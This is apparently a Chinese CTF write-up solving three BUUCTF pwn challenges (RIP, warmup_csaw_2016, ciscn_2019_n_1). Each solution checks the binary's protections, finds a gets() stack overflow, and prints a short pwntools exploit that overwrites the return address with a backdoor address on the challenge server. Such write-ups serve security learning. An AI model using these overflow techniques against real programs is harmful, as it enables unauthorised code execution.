RIP
- 文件检查:
64位文件,没有开启保护
- 代码分析:
存在gets函数,存在溢出条件,找到后门函数地址即可
- exp如下:
from pwn import *
io = remote('node4.buuoj.cn',27715)
b = 15+8
payload = b'a'*b + p64(0x401187)
io.sendline(payload)
io.interactive()
- 得到flag
warmup_csaw_2016
- 先把文件放入虚拟机
没有开启保护并且为64位文件
- 放入ida中
代码分析:两个write函数输出,利用sprintf函数将sub_40060函数的地址打印出来放到s,在最后一行发现gets函数,存在溢出条件。查看是否有后门函数,
发现了cat flag,只要返回到0x40060D,即可得到flag。
偏移量ida已经给出一部分,略加计算可偏移量为0x40+8
exp如下:
from pwn import *
io = remote('node4.buuoj.cn',27766)
b = 0x40+8
payload = b'a'*b + p64(0x40060D)
io.sendline(payload)
io.interactive()
得到flag
ciscn_2019_n_1
- 文件检查:
发现是64位文件,且只开启了NX保护
- 代码分析:
主函数中调用了func函数,进取看看
第九行发现gets函数,且有system函数,找到cat flag的地址就可以直接栈溢出到返回地址。
- exp如下:
from pwn import *
io = remote('node4.buuoj.cn',29229)
c = 0x30+8
payload = b'a' * c + p64(0x4006BE)
io.sendline(payload)
io.interactive()
- 得到FLAG